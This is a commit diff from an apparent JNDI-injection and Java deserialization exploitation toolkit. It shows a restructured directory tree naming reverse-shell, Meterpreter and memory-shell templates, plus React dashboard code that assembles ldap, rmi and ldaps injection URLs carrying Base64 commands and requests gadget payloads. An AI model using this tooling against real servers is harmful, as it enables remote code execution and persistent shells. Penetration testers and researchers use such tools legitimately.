mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
fix: 前端大改5
This commit is contained in:
@@ -40,9 +40,6 @@
|
|||||||
|
|
||||||
如果你有其他很棒的想法请务必告诉我!😎
|
如果你有其他很棒的想法请务必告诉我!😎
|
||||||
|
|
||||||
## 🐯 编译
|
|
||||||
|
|
||||||
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
|
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
./gradlew shadowJar
|
./gradlew shadowJar
|
||||||
|
|||||||
+129
-72
@@ -1,72 +1,129 @@
|
|||||||
├─.gradle Gradle构建配置文件
|
.
|
||||||
│ ├─8.7
|
├── .gradle Gradle 构建缓存
|
||||||
│ │ ├─checksums
|
│ ├── 7.6.6 Gradle 版本缓存
|
||||||
│ │ ├─dependencies-accessors
|
│ │ ├── checksums
|
||||||
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
|
│ │ ├── dependencies-accessors
|
||||||
│ │ │ ├─classes
|
│ │ ├── executionHistory
|
||||||
│ │ │ │ └─org
|
│ │ ├── fileChanges
|
||||||
│ │ │ │ └─gradle
|
│ │ ├── fileHashes
|
||||||
│ │ │ │ └─accessors
|
│ │ └── gc.properties
|
||||||
│ │ │ │ └─dm
|
│ ├── buildOutputCleanup
|
||||||
│ │ │ └─sources
|
│ └── vcs-1
|
||||||
│ │ │ └─org
|
├── .idea IDEA 配置
|
||||||
│ │ │ └─gradle
|
│ ├── artifacts
|
||||||
│ │ │ └─accessors
|
│ ├── codeStyles
|
||||||
│ │ │ └─dm
|
│ ├── inspectionProfiles
|
||||||
│ │ ├─executionHistory
|
│ └── libraries
|
||||||
│ │ ├─expanded
|
├── docs 项目文档
|
||||||
│ │ ├─fileChanges
|
│ └── directory_structure.md
|
||||||
│ │ ├─fileHashes
|
├── gradle
|
||||||
│ │ └─vcsMetadata
|
│ └── wrapper Gradle Wrapper (7.6.6)
|
||||||
│ ├─buildOutputCleanup
|
├── libs 第三方 JAR
|
||||||
│ └─vcs-1
|
├── src
|
||||||
├─.idea IDEA配置信息文件
|
│ ├── main
|
||||||
│ ├─artifacts
|
│ │ ├── frontend 前端 React 项目
|
||||||
│ ├─codeStyles
|
│ │ │ ├── public
|
||||||
│ ├─inspectionProfiles
|
│ │ │ └── src
|
||||||
│ └─libraries
|
│ │ ├── java
|
||||||
├─docs 有关文档
|
│ │ │ └── com/qi4l/JYso
|
||||||
├─gradle
|
│ │ │ ├── HTTPServer.java
|
||||||
│ └─wrapper
|
│ │ │ ├── LdapServer.java
|
||||||
├─libs 第三方jar
|
│ │ │ ├── LdapsServer.java
|
||||||
└─src
|
│ │ │ ├── RMIServer.java
|
||||||
├─main
|
│ │ │ ├── Starter.java
|
||||||
│ └─java
|
│ │ │ ├── controllers JNDI/LDAP 控制器
|
||||||
│ └─com
|
│ │ │ │ ├── BaseLdapController.java 公共基类
|
||||||
│ └─qi4l
|
│ │ │ │ ├── BasicController.java
|
||||||
│ └─jndi
|
│ │ │ │ ├── ELProcessorController.java
|
||||||
│ ├─controllers JNDI路由逻辑
|
│ │ │ │ ├── GroovyController.java
|
||||||
│ │ └─utils
|
│ │ │ │ ├── LdapController.java 控制器接口
|
||||||
│ ├─enumtypes
|
│ │ │ │ ├── LdapMapping.java
|
||||||
│ ├─exceptions
|
│ │ │ │ ├── MemoryXXEController.java
|
||||||
│ ├─exploit -cp 模式下的漏洞逻辑
|
│ │ │ │ ├── SerializedDataController.java
|
||||||
│ ├─gadgets 反序列化链
|
│ │ │ │ ├── SnakeYamlController.java
|
||||||
│ │ ├─annotation
|
│ │ │ │ ├── XStreamController.java
|
||||||
│ │ ├─Config
|
│ │ │ │ ├── jdbcController1.java
|
||||||
│ │ └─utils
|
│ │ │ │ ├── jdbcController2.java
|
||||||
│ │ ├─beanshell
|
│ │ │ │ ├── ldap2rmiController.java
|
||||||
│ │ ├─cc
|
│ │ │ │ ├── rmi RMI 工具类
|
||||||
│ │ ├─clojure
|
│ │ │ │ │ ├── Basic.java
|
||||||
│ │ ├─dirty
|
│ │ │ │ │ └── ELProcessor.java
|
||||||
│ │ ├─handle
|
│ │ │ │ └── utils
|
||||||
│ │ ├─jdbc
|
│ │ │ │ └── JNDIUtils.java
|
||||||
│ │ ├─jre
|
│ │ │ ├── enumtypes
|
||||||
│ │ └─utf8OverlongEncoding
|
│ │ │ │ ├── GadgetType.java
|
||||||
│ └─template
|
│ │ │ │ ├── PayloadType.java
|
||||||
│ ├─Agent Agent注入逻辑
|
│ │ │ │ └── WebsphereActionType.java
|
||||||
│ │ └─utli
|
│ │ │ ├── exceptions
|
||||||
│ ├─echo 回显类
|
│ │ │ │ ├── IncorrectParamsException.java
|
||||||
│ └─memshell 内存shell逻辑
|
│ │ │ │ ├── UnSupportedActionTypeException.java
|
||||||
│ ├─BypassNginxCDN
|
│ │ │ │ ├── UnSupportedGadgetTypeException.java
|
||||||
│ ├─jboss
|
│ │ │ │ └── UnSupportedPayloadTypeException.java
|
||||||
│ ├─jetty
|
│ │ │ ├── exploit -cp 模式漏洞利用
|
||||||
│ ├─resin
|
│ │ │ │ ├── JBoss.java
|
||||||
│ ├─shell
|
│ │ │ │ ├── JMXInvokeMBean.java
|
||||||
│ ├─spring
|
│ │ │ │ ├── JRMPClassLoadingListener.java
|
||||||
│ ├─struts2
|
│ │ │ │ ├── JRMPClient.java
|
||||||
│ ├─tomcat
|
│ │ │ │ ├── JRMPListener.java
|
||||||
│ ├─Tomcat_Spring_Jetty
|
│ │ │ │ ├── JSF.java
|
||||||
│ ├─weblogic
|
│ │ │ │ ├── JenkinsCLI.java
|
||||||
│ └─Websphere
|
│ │ │ │ ├── JenkinsListener.java
|
||||||
└─test
|
│ │ │ │ ├── JenkinsReverse.java
|
||||||
└─java
|
│ │ │ │ └── RMIBindExploit.java
|
||||||
|
│ │ │ ├── gadgets 反序列化 Gadget
|
||||||
|
│ │ │ │ ├── ObjectPayload.java
|
||||||
|
│ │ │ │ ├── ReleaseableObjectPayload.java
|
||||||
|
│ │ │ │ ├── SignedObject.java
|
||||||
|
│ │ │ │ ├── annotation 注解
|
||||||
|
│ │ │ │ │ ├── Authors.java
|
||||||
|
│ │ │ │ │ └── Dependencies.java
|
||||||
|
│ │ │ │ ├── Config 全局配置
|
||||||
|
│ │ │ │ │ ├── Config.java
|
||||||
|
│ │ │ │ │ ├── MemShellPayloads.java
|
||||||
|
│ │ │ │ │ └── ysoserial.java
|
||||||
|
│ │ │ │ ├── utils 工具类
|
||||||
|
│ │ │ │ │ ├── Gadgets.java
|
||||||
|
│ │ │ │ │ ├── Reflections.java
|
||||||
|
│ │ │ │ │ ├── Serializer.java
|
||||||
|
│ │ │ │ │ ├── Utils.java
|
||||||
|
│ │ │ │ │ ├── ... (ByteUtil, ClassFiles, HexUtils, InjShell 等)
|
||||||
|
│ │ │ │ │ ├── beanshell/
|
||||||
|
│ │ │ │ │ ├── cc/
|
||||||
|
│ │ │ │ │ ├── clojure/
|
||||||
|
│ │ │ │ │ ├── dirty/
|
||||||
|
│ │ │ │ │ ├── handle/
|
||||||
|
│ │ │ │ │ ├── jre/
|
||||||
|
│ │ │ │ │ └── utf8OverlongEncoding/
|
||||||
|
│ │ │ │ └── *.java 各 Gadget 链实现
|
||||||
|
│ │ │ ├── template 模板类
|
||||||
|
│ │ │ │ ├── ClassLoaderTemplate.java
|
||||||
|
│ │ │ │ ├── DefineClassFromParameter.java
|
||||||
|
│ │ │ │ ├── HideMemShellTemplate.java
|
||||||
|
│ │ │ │ ├── Meterpreter.java
|
||||||
|
│ │ │ │ ├── ReverseShellTemplate.java
|
||||||
|
│ │ │ │ └── Template.java
|
||||||
|
│ │ │ └── web Web 控制台
|
||||||
|
│ │ │ ├── JYsoWebApplication.java
|
||||||
|
│ │ │ ├── ApiAuthFilter.java
|
||||||
|
│ │ │ ├── AuthServlet.java
|
||||||
|
│ │ │ ├── JettyApiServlet.java
|
||||||
|
│ │ │ ├── RequestLogCollector.java
|
||||||
|
│ │ │ ├── SpaFallbackFilter.java
|
||||||
|
│ │ │ ├── StaticResourceServlet.java
|
||||||
|
│ │ │ └── config/
|
||||||
|
│ │ │ ├── JYsoWebPasswordProvider.java
|
||||||
|
│ │ │ └── WebPasswordGenerator.java
|
||||||
|
│ │ └── resources 资源文件
|
||||||
|
│ │ ├── application.properties
|
||||||
|
│ │ ├── log4j2.xml
|
||||||
|
│ │ └── static/ 前端打包产出
|
||||||
|
│ └── test 测试代码
|
||||||
|
│ └── java
|
||||||
|
│ ├── Main.java
|
||||||
|
│ └── com/example/demo/demos/web
|
||||||
|
│ ├── Test.java
|
||||||
|
│ └── secCig.java
|
||||||
|
├── build.gradle Gradle 构建脚本
|
||||||
|
├── settings.gradle Gradle 项目设置
|
||||||
|
├── README.md
|
||||||
|
└── README.en.md
|
||||||
|
|||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
#Thu Apr 23 23:23:32 CST 2026
|
#Thu Apr 23 23:23:32 CST 2026
|
||||||
distributionBase=GRADLE_USER_HOME
|
distributionBase=GRADLE_USER_HOME
|
||||||
distributionPath=wrapper/dists
|
distributionPath=wrapper/dists
|
||||||
distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.4-bin.zip
|
distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.6-bin.zip
|
||||||
zipStoreBase=GRADLE_USER_HOME
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
zipStorePath=wrapper/dists
|
zipStorePath=wrapper/dists
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
import { useState, useCallback } from 'react'
|
||||||
|
|
||||||
|
const CheckIcon = () => (
|
||||||
|
<svg width="16" height="16" viewBox="0 0 16 16" fill="none">
|
||||||
|
<path d="M3 8l3 3 7-7" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round"/>
|
||||||
|
</svg>
|
||||||
|
)
|
||||||
|
|
||||||
|
const CopyIcon = () => (
|
||||||
|
<svg width="16" height="16" viewBox="0 0 16 16" fill="none">
|
||||||
|
<rect x="5" y="5" width="9" height="9" rx="1.5" stroke="currentColor" strokeWidth="1.5"/>
|
||||||
|
<path d="M3 11V3h8" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round"/>
|
||||||
|
</svg>
|
||||||
|
)
|
||||||
|
|
||||||
|
export default function CopyButton({ text, className = '', title = 'Copy to clipboard' }) {
|
||||||
|
const [copied, setCopied] = useState(false)
|
||||||
|
|
||||||
|
const handleCopy = useCallback(async () => {
|
||||||
|
if (!text) return
|
||||||
|
try {
|
||||||
|
await navigator.clipboard.writeText(text)
|
||||||
|
setCopied(true)
|
||||||
|
setTimeout(() => setCopied(false), 2000)
|
||||||
|
} catch { /* ignore */ }
|
||||||
|
}, [text])
|
||||||
|
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
className={`copy-btn ${className}`}
|
||||||
|
onClick={handleCopy}
|
||||||
|
title={title}
|
||||||
|
aria-label={copied ? 'Copied' : title}
|
||||||
|
>
|
||||||
|
{copied ? <CheckIcon /> : <CopyIcon />}
|
||||||
|
</button>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
import { useState, useCallback, createContext, useContext } from 'react'
|
||||||
|
|
||||||
|
const ToastContext = createContext(null)
|
||||||
|
|
||||||
|
let toastId = 0
|
||||||
|
|
||||||
|
export function ToastProvider({ children }) {
|
||||||
|
const [toasts, setToasts] = useState([])
|
||||||
|
|
||||||
|
const showToast = useCallback((message, type = 'success') => {
|
||||||
|
const id = ++toastId
|
||||||
|
setToasts(prev => [...prev, { id, message, type }])
|
||||||
|
setTimeout(() => {
|
||||||
|
setToasts(prev => prev.filter(t => t.id !== id))
|
||||||
|
}, 3200)
|
||||||
|
}, [])
|
||||||
|
|
||||||
|
return (
|
||||||
|
<ToastContext.Provider value={{ showToast }}>
|
||||||
|
{children}
|
||||||
|
<div className="toast-container">
|
||||||
|
{toasts.map(t => (
|
||||||
|
<div key={t.id} className={`toast toast-${t.type}`}>
|
||||||
|
{t.message}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</ToastContext.Provider>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useToast() {
|
||||||
|
const ctx = useContext(ToastContext)
|
||||||
|
if (!ctx) throw new Error('useToast must be inside ToastProvider')
|
||||||
|
return ctx
|
||||||
|
}
|
||||||
@@ -0,0 +1,331 @@
|
|||||||
|
import { useState, useEffect, useMemo, useCallback, useRef } from 'react'
|
||||||
|
import { useNavigate } from 'react-router-dom'
|
||||||
|
import {
|
||||||
|
getStatus, toggleServer, getGadgets,
|
||||||
|
generatePayload as apiGenerate, updateConfig, setAuthToken, getLogs,
|
||||||
|
getFiles, downloadFile, deleteFile as apiDeleteFile,
|
||||||
|
uploadFile
|
||||||
|
} from '../api'
|
||||||
|
|
||||||
|
const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
|
||||||
|
|
||||||
|
const DEFAULT_CONFIG = {
|
||||||
|
ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
|
||||||
|
AESkey: '123', user: '', PASSWD: '', TLSProxy: false, keyPass: '', certFile: ''
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function useDashboard() {
|
||||||
|
const navigate = useNavigate()
|
||||||
|
const [mode, setMode] = useState('jndi')
|
||||||
|
const [animKey, setAnimKey] = useState(0)
|
||||||
|
const [status, setStatus] = useState({})
|
||||||
|
const [loading, setLoading] = useState(false)
|
||||||
|
const [toggling, setToggling] = useState(null)
|
||||||
|
const [activeJndiTab, setActiveJndiTab] = useState('config')
|
||||||
|
const [gadgets, setGadgets] = useState([])
|
||||||
|
const [gadgetSearch, setGadgetSearch] = useState('')
|
||||||
|
const [selectedGadget, setSelectedGadget] = useState('')
|
||||||
|
const [payloadCmd, setPayloadCmd] = useState('')
|
||||||
|
const [payloadResult, setPayloadResult] = useState('')
|
||||||
|
const [encodeBase64, setEncodeBase64] = useState(true)
|
||||||
|
const [showAdvanced, setShowAdvanced] = useState(false)
|
||||||
|
const [inherit, setInherit] = useState(false)
|
||||||
|
const [obscure, setObscure] = useState(false)
|
||||||
|
const [dcfp, setDcfp] = useState('')
|
||||||
|
const [dirtyType, setDirtyType] = useState('')
|
||||||
|
const [dirtyLength, setDirtyLength] = useState('')
|
||||||
|
const [noComSun, setNoComSun] = useState(false)
|
||||||
|
const [mozillaClassLoader, setMozillaClassLoader] = useState(false)
|
||||||
|
const [rhino, setRhino] = useState(false)
|
||||||
|
const [utf8Overlong, setUtf8Overlong] = useState(false)
|
||||||
|
const [payloadSubTab, setPayloadSubTab] = useState('gadget')
|
||||||
|
const [gadgetOpen, setGadgetOpen] = useState(false)
|
||||||
|
const [jndiPayloadResult, setJndiPayloadResult] = useState('')
|
||||||
|
const [rmiPayloadResult, setRmiPayloadResult] = useState('')
|
||||||
|
const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
|
||||||
|
const [jndiGadgetInput, setJndiGadgetInput] = useState('')
|
||||||
|
const [gadgetModeInput, setGadgetModeInput] = useState('')
|
||||||
|
const [saveFilename, setSaveFilename] = useState('')
|
||||||
|
const [filePath, setFilePath] = useState('')
|
||||||
|
const [classLoaderResult, setClassLoaderResult] = useState('')
|
||||||
|
const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
|
||||||
|
const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
|
||||||
|
const [routing, setRouting] = useState('ELProcessor')
|
||||||
|
const [routingOpen, setRoutingOpen] = useState(false)
|
||||||
|
const [logLines, setLogLines] = useState([])
|
||||||
|
const [logLoading, setLogLoading] = useState(false)
|
||||||
|
const logEndRef = useRef(null)
|
||||||
|
const [files, setFiles] = useState([])
|
||||||
|
const [filesLoading, setFilesLoading] = useState(false)
|
||||||
|
const [dragOver, setDragOver] = useState(false)
|
||||||
|
const [uploading, setUploading] = useState(false)
|
||||||
|
const fileInputRef = useRef(null)
|
||||||
|
const [configForm, setConfigForm] = useState({ ...DEFAULT_CONFIG })
|
||||||
|
|
||||||
|
const filteredGadgets = useMemo(() => {
|
||||||
|
if (!gadgetSearch) return gadgets
|
||||||
|
return gadgets.filter(g => g.name.toLowerCase().includes(gadgetSearch.toLowerCase()))
|
||||||
|
}, [gadgetSearch, gadgets])
|
||||||
|
|
||||||
|
const switchMode = useCallback((next) => {
|
||||||
|
if (next === mode) return
|
||||||
|
setMode(next)
|
||||||
|
setAnimKey(k => k + 1)
|
||||||
|
}, [mode])
|
||||||
|
|
||||||
|
async function loadStatus() {
|
||||||
|
try {
|
||||||
|
const res = await getStatus()
|
||||||
|
setStatus(res.data)
|
||||||
|
setConfigForm(prev => ({
|
||||||
|
...prev,
|
||||||
|
ip: res.data.ip || '',
|
||||||
|
ldapPort: res.data.ldapPort || 1389,
|
||||||
|
ldapsPort: res.data.ldapsPort || 1669,
|
||||||
|
httpPort: res.data.httpPort || 3456,
|
||||||
|
rmiPort: res.data.rmiPort || 1099,
|
||||||
|
AESkey: res.data.AESkey || '123',
|
||||||
|
user: res.data.user || '',
|
||||||
|
PASSWD: res.data.PASSWD || '',
|
||||||
|
TLSProxy: res.data.TLSProxy || false,
|
||||||
|
keyPass: res.data.keyPass || '',
|
||||||
|
certFile: res.data.certFile || ''
|
||||||
|
}))
|
||||||
|
} catch (e) {
|
||||||
|
if (e.response && e.response.status === 401) {
|
||||||
|
setAuthToken(null)
|
||||||
|
navigate('/login', { replace: true })
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadGadgets() {
|
||||||
|
try {
|
||||||
|
const res = await getGadgets()
|
||||||
|
setGadgets(res.data)
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handleToggleServer(server) {
|
||||||
|
setToggling(server)
|
||||||
|
try {
|
||||||
|
const res = await toggleServer(server)
|
||||||
|
if (res.data.success) {
|
||||||
|
setStatus(res.data.status)
|
||||||
|
}
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
finally { setToggling(null) }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handleSaveConfig() {
|
||||||
|
setLoading(true)
|
||||||
|
try {
|
||||||
|
await updateConfig(configForm)
|
||||||
|
loadStatus()
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
finally { setLoading(false) }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handleGeneratePayload() {
|
||||||
|
const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
|
||||||
|
if (!gadgetName) return
|
||||||
|
setLoading(true)
|
||||||
|
try {
|
||||||
|
const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename, encodeBase64,
|
||||||
|
inherit, obscure, dcfp, dirtyType, dirtyLength, noComSun, mozillaClassLoader, rhino, utf8Overlong })
|
||||||
|
if (res.data.success) {
|
||||||
|
setPayloadResult(res.data.message || 'Payload generated successfully')
|
||||||
|
if (res.data.saved) fetchFiles()
|
||||||
|
} else {
|
||||||
|
setPayloadResult('Error: ' + (res.data.error || 'unknown'))
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
setPayloadResult(e.response?.data?.error || 'Failed to generate payload')
|
||||||
|
} finally { setLoading(false) }
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleGenerateJndiPayload() {
|
||||||
|
const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
|
||||||
|
if (!gadgetName || !payloadCmd) return
|
||||||
|
setLoading(true)
|
||||||
|
setJndiPayloadResult('')
|
||||||
|
setRmiPayloadResult('')
|
||||||
|
setLdapsPayloadResult('')
|
||||||
|
try {
|
||||||
|
const bytes = new TextEncoder().encode(payloadCmd)
|
||||||
|
const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
|
||||||
|
const ipAddr = configForm.ip || '0.0.0.0'
|
||||||
|
const ldapPort = configForm.ldapPort || 1389
|
||||||
|
const rmiPort = configForm.rmiPort || 1099
|
||||||
|
const ldapsPort = configForm.ldapsPort || 1669
|
||||||
|
|
||||||
|
setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||||
|
setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||||
|
setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
finally { setLoading(false) }
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleGenerateClassLoader() {
|
||||||
|
const fp = filePath.trim()
|
||||||
|
const route = routing.trim()
|
||||||
|
if (!fp || !route) return
|
||||||
|
setLoading(true)
|
||||||
|
setClassLoaderResult('')
|
||||||
|
setRmiClassLoaderResult('')
|
||||||
|
setLdapsClassLoaderResult('')
|
||||||
|
if (!fp.toLowerCase().endsWith('.class')) {
|
||||||
|
setLoading(false)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const ipAddr = configForm.ip || '0.0.0.0'
|
||||||
|
const ldapPort = configForm.ldapPort || 1389
|
||||||
|
const rmiPort = configForm.rmiPort || 1099
|
||||||
|
const ldapsPort = configForm.ldapsPort || 1669
|
||||||
|
|
||||||
|
setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`)
|
||||||
|
setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`)
|
||||||
|
setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`)
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
finally { setLoading(false) }
|
||||||
|
}
|
||||||
|
|
||||||
|
function logout() {
|
||||||
|
setAuthToken(null)
|
||||||
|
navigate('/login', { replace: true })
|
||||||
|
}
|
||||||
|
|
||||||
|
async function fetchLogs() {
|
||||||
|
setLogLoading(true)
|
||||||
|
try {
|
||||||
|
const res = await getLogs(100)
|
||||||
|
setLogLines(res.data.logs || [])
|
||||||
|
} catch { /* ignore */ }
|
||||||
|
finally { setLogLoading(false) }
|
||||||
|
}
|
||||||
|
|
||||||
|
useEffect(() => { loadStatus(); loadGadgets() }, [])
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (mode !== 'gadget') return
|
||||||
|
fetchFiles()
|
||||||
|
}, [mode])
|
||||||
|
|
||||||
|
async function fetchFiles() {
|
||||||
|
setFilesLoading(true)
|
||||||
|
try {
|
||||||
|
const res = await getFiles()
|
||||||
|
setFiles(res.data)
|
||||||
|
} catch { /* ignore */ }
|
||||||
|
finally { setFilesLoading(false) }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handleDownloadFile(name) {
|
||||||
|
try {
|
||||||
|
const res = await downloadFile(name)
|
||||||
|
const url = window.URL.createObjectURL(new Blob([res.data]))
|
||||||
|
const a = document.createElement('a')
|
||||||
|
a.href = url
|
||||||
|
a.download = name
|
||||||
|
a.click()
|
||||||
|
window.URL.revokeObjectURL(url)
|
||||||
|
} catch { /* ignore */ }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handleDeleteFile(name) {
|
||||||
|
if (!confirm(`Delete ${name}?`)) return
|
||||||
|
try {
|
||||||
|
await apiDeleteFile(name)
|
||||||
|
fetchFiles()
|
||||||
|
} catch { /* ignore */ }
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleDragOver(e) {
|
||||||
|
e.preventDefault()
|
||||||
|
e.stopPropagation()
|
||||||
|
setDragOver(true)
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleDragLeave(e) {
|
||||||
|
e.preventDefault()
|
||||||
|
e.stopPropagation()
|
||||||
|
setDragOver(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleDrop(e) {
|
||||||
|
e.preventDefault()
|
||||||
|
e.stopPropagation()
|
||||||
|
setDragOver(false)
|
||||||
|
const droppedFiles = e.dataTransfer.files
|
||||||
|
if (droppedFiles.length > 0) {
|
||||||
|
doUpload(droppedFiles[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleFileSelect(e) {
|
||||||
|
const selectedFiles = e.target.files
|
||||||
|
if (selectedFiles.length > 0) {
|
||||||
|
doUpload(selectedFiles[0])
|
||||||
|
}
|
||||||
|
e.target.value = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
async function doUpload(file) {
|
||||||
|
setUploading(true)
|
||||||
|
try {
|
||||||
|
const formData = new FormData()
|
||||||
|
formData.append('file', file)
|
||||||
|
const res = await uploadFile(formData)
|
||||||
|
if (res.data.success) {
|
||||||
|
fetchFiles()
|
||||||
|
}
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
|
finally {
|
||||||
|
setUploading(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (activeJndiTab !== 'logs') return
|
||||||
|
fetchLogs()
|
||||||
|
const id = setInterval(fetchLogs, 2000)
|
||||||
|
return () => clearInterval(id)
|
||||||
|
}, [activeJndiTab])
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (logEndRef.current) logEndRef.current.scrollIntoView({ behavior: 'smooth' })
|
||||||
|
}, [logLines])
|
||||||
|
|
||||||
|
return {
|
||||||
|
mode, animKey, switchMode,
|
||||||
|
status, toggling, handleToggleServer,
|
||||||
|
activeJndiTab, setActiveJndiTab,
|
||||||
|
gadgets, gadgetSearch, setGadgetSearch, selectedGadget, setSelectedGadget, filteredGadgets,
|
||||||
|
payloadCmd, setPayloadCmd, payloadResult, setPayloadResult,
|
||||||
|
encodeBase64, setEncodeBase64,
|
||||||
|
showAdvanced, setShowAdvanced,
|
||||||
|
inherit, setInherit, obscure, setObscure,
|
||||||
|
dcfp, setDcfp, dirtyType, setDirtyType, dirtyLength, setDirtyLength,
|
||||||
|
noComSun, setNoComSun, mozillaClassLoader, setMozillaClassLoader,
|
||||||
|
rhino, setRhino, utf8Overlong, setUtf8Overlong,
|
||||||
|
payloadSubTab, setPayloadSubTab,
|
||||||
|
gadgetOpen, setGadgetOpen,
|
||||||
|
jndiPayloadResult, rmiPayloadResult, ldapsPayloadResult,
|
||||||
|
jndiGadgetInput, setJndiGadgetInput,
|
||||||
|
gadgetModeInput, setGadgetModeInput,
|
||||||
|
saveFilename, setSaveFilename,
|
||||||
|
filePath, setFilePath,
|
||||||
|
classLoaderResult, rmiClassLoaderResult, ldapsClassLoaderResult,
|
||||||
|
routing, setRouting, routingOpen, setRoutingOpen, ROUTING_OPTIONS,
|
||||||
|
logLines, logLoading, fetchLogs, logEndRef,
|
||||||
|
files, filesLoading, fetchFiles,
|
||||||
|
dragOver, setDragOver, uploading, fileInputRef,
|
||||||
|
configForm, setConfigForm,
|
||||||
|
loading, setLoading,
|
||||||
|
handleSaveConfig, handleGeneratePayload, handleGenerateJndiPayload, handleGenerateClassLoader,
|
||||||
|
logout,
|
||||||
|
handleDownloadFile, handleDeleteFile,
|
||||||
|
handleDragOver, handleDragLeave, handleDrop, handleFileSelect
|
||||||
|
}
|
||||||
|
}
|
||||||
+160
-16
@@ -790,27 +790,38 @@ select {
|
|||||||
}
|
}
|
||||||
|
|
||||||
.log-container {
|
.log-container {
|
||||||
background: #0d1117;
|
background: var(--bg-input);
|
||||||
border: 1px solid #30363d;
|
border: 1px solid var(--border-color);
|
||||||
border-radius: 12px;
|
border-radius: 14px;
|
||||||
padding: 12px;
|
padding: 14px;
|
||||||
max-height: 380px;
|
max-height: 380px;
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
font-family: var(--font-mono);
|
font-family: var(--font-mono);
|
||||||
font-size: 11px;
|
font-size: 12px;
|
||||||
line-height: 1.65;
|
line-height: 1.65;
|
||||||
transition: background var(--transition-fluid), border-color var(--transition-fluid);
|
transition: background var(--transition-fluid), border-color var(--transition-fluid);
|
||||||
}
|
}
|
||||||
|
|
||||||
.log-line {
|
.log-line {
|
||||||
color: #c9d1d9;
|
color: var(--text-secondary);
|
||||||
white-space: pre-wrap;
|
white-space: pre-wrap;
|
||||||
word-break: break-all;
|
word-break: break-all;
|
||||||
padding: 1px 0;
|
padding: 2px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-line:nth-child(odd) {
|
||||||
|
background: rgba(0, 0, 0, 0.02);
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 2px 6px;
|
||||||
|
margin: 0 -6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-theme="dark"] .log-line:nth-child(odd) {
|
||||||
|
background: rgba(255, 255, 255, 0.03);
|
||||||
}
|
}
|
||||||
|
|
||||||
.log-empty {
|
.log-empty {
|
||||||
color: #8b949e;
|
color: var(--text-muted);
|
||||||
text-align: center;
|
text-align: center;
|
||||||
padding: 32px 0;
|
padding: 32px 0;
|
||||||
font-family: 'Inter', sans-serif;
|
font-family: 'Inter', sans-serif;
|
||||||
@@ -907,31 +918,164 @@ select {
|
|||||||
}
|
}
|
||||||
|
|
||||||
.file-upload-zone {
|
.file-upload-zone {
|
||||||
border: 2px dashed var(--border);
|
border: 2px dashed var(--border-color);
|
||||||
border-radius: 8px;
|
border-radius: 14px;
|
||||||
padding: 18px;
|
padding: 18px;
|
||||||
text-align: center;
|
text-align: center;
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
